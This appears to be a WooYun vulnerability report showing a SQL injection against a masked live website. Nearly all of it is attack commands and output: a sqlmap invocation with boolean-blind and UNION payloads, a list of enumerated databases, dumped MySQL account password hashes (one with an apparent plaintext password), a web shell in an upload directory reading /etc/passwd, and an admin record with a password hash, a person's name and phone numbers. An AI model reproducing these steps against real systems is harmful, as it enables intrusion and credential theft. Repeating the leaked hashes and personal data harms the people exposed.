WooYun.org

https://**.**.**.**//entry.php?action=getUserinfo2&userId=1

sqlmap.py -u "https://**.**.**.**//entry.php?action=getUserinfo2&userId=1" --dbs -p "userId"
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] yyyyy
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
GET parameter 'userId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 90 HTTP(s) requests:
---
Parameter: userId (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=getUserinfo2&userId=1 AND 9804=9804
    Type: UNION query
    Title: MySQL UNION query (97) - 11 columns
    Payload: action=getUserinfo2&userId=1 UNION ALL SELECT 97,97,CONCAT(0x71716b7071,0x41426a505545424d6c70,0x7178787171),97,97,97,97,97,97,97,97#
---
[22:35:37] [INFO] testing MySQL
[22:35:41] [INFO] confirming MySQL
[22:35:52] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.5
back-end DBMS: MySQL >= 5.0.0
[22:35:52] [INFO] fetching database names
[22:35:54] [INFO] the SQL query used returns 19 entries
[22:35:55] [INFO] retrieved: information_schema
[22:36:01] [INFO] retrieved: accesslog
[22:36:02] [INFO] retrieved: company
[22:36:13] [INFO] retrieved: cxt
[22:36:14] [INFO] retrieved: cxt_cert
[22:36:24] [INFO] retrieved: dede53
[22:36:28] [INFO] retrieved: joyinweb
[22:36:33] [INFO] retrieved: mysql
[22:36:35] [INFO] retrieved: performance_schema
[22:36:40] [INFO] retrieved: phpcms
[22:36:49] [INFO] retrieved: phpmyvisites
[22:36:52] [INFO] retrieved: piwik
[22:37:33] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[22:37:37] [INFO] retrieved: rdfocus
[22:37:38] [INFO] retrieved: szfw2
[22:37:40] [INFO] retrieved: szfw2_call
[22:37:44] [INFO] retrieved: test
[22:37:50] [INFO] retrieved: textpattern
[22:37:54] [INFO] retrieved: tikiwiki
[22:37:58] [INFO] retrieved: typecho
available databases [19]:
[*] accesslog
[*] company
[*] cxt
[*] cxt_cert
[*] dede53
[*] information_schema
[*] joyinweb
[*] mysql
[*] performance_schema
[*] phpcms
[*] phpmyvisites
[*] piwik
[*] rdfocus
[*] szfw2
[*] szfw2_call
[*] test
[*] textpattern
[*] tikiwiki
[*] typecho
[22:37:58] [INFO] fetched data logged to text files under 'C:\Users\echo\.sqlmap\output\**.**.**.**'
[*] shutting down at 22:37:58

database management system users password hashes:
[*] cxt [1]:
    password hash: *E4160ED508CFFDE837FD1E722E03D0674F29E348
[*] dede53joyinweb [1]:
    password hash: 3ac62ba04d47bcc6
[*] fed [1]:
    password hash: *8C6AF7ACCB56BE82F7EE97C266E7A60EAE38C208
[*] handong [1]:
    password hash: 53c88c6546334797
[*] joyinweb [1]:
    password hash: NULL
[*] lihm [1]:
    password hash: *A83EC55BA3908358629C1E0E96F167AA096F7703
[*] repl_user [1]:
    password hash: *23AE809DDACAF96AF0FD78ED04B6A265E05AA257
[*] root [1]:
    password hash: *6172ACA86C070EDD58B17AFAFF14DDF1BAC7CF88        8812345
[*] ryf [1]:
    password hash: *78C93EE971A8D9072AF9C48BE9508B4FD17B63EE
[*] szfw [1]:
    password hash: *40804F154E28837515CCD9A3D6C6FFCC36E992D4
[*] user_company [1]:
    password hash: 63d2d4fa187fc0cd
[*] usr_joyinweb [1]:
    password hash: *66E20D0D08FFBC31659D79E07D4FA1DA7F1E7D0C
[*] usr_piwik [1]:
    password hash: 52e9e5db1b484df9
[*] usr_rdfocus [1]:
    password hash: 52c52d76135f9bce
[*] zabbix [1]:
    password hash: NULL
        
current user:    'cxt@%'

[/data/htdocs/szfw/cxt/upload/]$ cat /etc/passwd |cut -f 1 -d :
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
operator
games
gopher
ftp
nobody
vcsa
dbus
sshd
haldaemon
nscd
ldap
apache
www
nginx
mysql
adpanshi
zabbix
ntp
mailnull
smmsp
[/data/htdocs/szfw/cxt/upload/]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
apache:x:48:48:Apache:/var/www:/sbin/nologin
www:x:500:500::/home/www:/sbin/nologin
nginx:x:100:102:Nginx user:/var/lib/nginx:/bin/false
mysql:x:501:501::/home/mysql:/bin/false
adpanshi:x:502:502::/home/adpanshi:/bin/bash
zabbix:x:503:503::/home/zabbix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

mysql> use szfw2;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_szfw2                       |
+---------------------------------------+
| agent_map                             |
| am_agent                              |
| am_agent_contact                      |
| am_agent_in_out_sea_his               |
| am_agent_log                          |
| am_agent_move                         |
| am_agent_pact                         |
| am_agent_permit                       |
| am_agent_share                        |
| am_agent_share_checklog               |
| am_agent_source                       |
| am_agentcheck_log                     |
| am_agentpact_checklog                 |
| am_expect_charge                      |
| am_expect_charge_history              |
| am_last_contact                       |
| am_pact_cashdeposit                   |
| am_pact_translog                      |
| am_quarterly_task                     |
| am_visit_acc_check                    |
| am_visit_acc_return                   |
| am_visit_accompany                    |
| am_visit_appoint                      |
| am_visit_note                         |
| am_visit_return                       |
| am_visit_vertify                      |
| am_visit_vertify_item                 |
| cert_company                          |
| cert_domain                           |
| cert_license                          |
| cm_ag_contact                         |
| cm_ag_contact_recode                  |
| cm_customer                           |
| cm_customer_agent                     |
| cm_customer_ex                        |
| cm_customer_log                       |
| cm_customer_move                      |
| cm_customer_permit                    |
| cm_data_config                        |
| cm_intention                          |
| cm_user_move                          |
| com_audit_record                      |
| com_bill_no                           |
| drp_wm_customer                       |
| fm_account_detail_rp                  |
| fm_account_recharge                   |
| fm_agent_account                      |
| fm_agent_account_amount               |
| fm_agent_account_detail               |
| fm_agent_bank                         |
| fm_attachments                        |
| fm_bank_account                       |
| fm_invoice_bill                       |
| fm_invoice_isseu                      |
| fm_invoice_isseu_bill                 |
| fm_invoice_no                         |
| fm_invoice_type                       |
| fm_post_money                         |
| fm_receipt_payment_mode               |
| fm_receivable_pay                     |
| fm_receivable_pay_state               |
| fm_unit_out_money                     |
| hr_abpost                             |
| hr_department                         |
| hr_dept_position                      |
| hr_e_position                         |
| hr_employee                           |
| hr_employee_old                       |
| hr_level                              |
| hr_position                           |
| hr_postion_level                      |
| log_login                             |
| log_operate                           |
| log_webservice                        |
| om_order                              |
| om_order_gift                         |
| om_order_gift_set                     |
| om_order_move_log                     |
| om_order_no                           |
| om_order_recharge                     |
| om_order_website                      |
| rpt_agent_contact_record              |
| rpt_agent_intention_rating            |
| rpt_kpi_base                          |
| sys_account_group                     |
| sys_account_group_user                |
| sys_agent_model                       |
| sys_agent_model_detail                |
| sys_agroup_manager                    |
| sys_agroup_manager_detail             |
| sys_area                              |
| sys_area_group                        |
| sys_area_group_detail                 |
| sys_base_data                         |
| sys_city                              |
| sys_com_setting                       |
| sys_const_data                        |
| sys_data_synchronous                  |
| sys_dev_auto_code                     |
| sys_industry                          |
| sys_intention_rating                  |
| sys_message                           |
| sys_model                             |
| sys_model_group                       |
| sys_model_right                       |
| sys_post_right                        |
| sys_product                           |
| sys_product_price_model               |
| sys_product_type                      |
| sys_province                          |
| sys_role                              |
| sys_role_right                        |
| sys_send_mail                         |
| sys_soap_log                          |
| sys_unit                              |
| sys_unit_salereward_rate_model        |
| sys_unit_salereward_rate_model_detail |
| sys_upload_doc                        |
| sys_user                              |
| sys_user_area                         |
| sys_user_old                          |
| sys_user_right                        |
| sys_user_role                         |
| sys_vacation_days                     |
| sys_zone                              |
| temp_111                              |
| temp_cert_company                     |
| temp_cm_customer_del                  |
| tm_eMail                              |
| tm_net                                |
| tm_net_account                        |
| tm_net_model_manage_user              |
| tm_net_model_manage_user_history      |
| tm_net_verify                         |
| tm_single_info                        |
| tm_trustworthy                        |
| v_am_agent_pact_product               |
| v_am_effect_pact_product              |
| v_channel_manager_area                |
| v_hr_abpost                           |
| v_hr_employee                         |
| view_hr_employee_szfw                 |
+---------------------------------------+
142 rows in set (0.57 sec)
mysql> select * from sys_user where user_name=admin;
ERROR 1054 (42S22): Unknown column 'admin' in 'where clause'
mysql> select * from sys_user where user_name="admin";
+---------+----------+-------+--------+---------+-----------+----------------------------------+-----------+--------------+-------------+-------------+------------+---------+--------+------------+---------------------+------------+---------------------+---------------------+-------------+------------+-------------+------------+
| user_id | agent_id | e_uid | e_name | user_no | user_name | user_pwd                         | dept_name | tel          | phone       | user_remark | sort_index | is_lock | is_del | create_uid | create_time         | update_uid | update_time         | last_login_time     | login_count | is_finance | finance_uid | finance_no |
+---------+----------+-------+--------+---------+-----------+----------------------------------+-----------+--------------+-------------+-------------+------------+---------+--------+------------+---------------------+------------+---------------------+---------------------+-------------+------------+-------------+------------+
|   23055 |        2 |     0 | 陈莹   | 10      | admin     | 3d9188577cc9bfe9291ac66b5cc872b7 |           | 010-82827336 | 18811410075 |             |          0 |
   0 |      0 |      22303 | 2015-07-08 01:25:57 |      23055 | 2015-12-10 09:15:41 | 2015-12-10 09:15:41 |         259 |          1 |       23055 | 10         |
+---------+----------+-------+--------+---------+-----------+----------------------------------+-----------+--------------+-------------+-------------+------------+---------+--------+------------+---------------------+------------+---------------------+---------------------+-------------+------------+-------------+------------+
1 row in set (0.19 sec)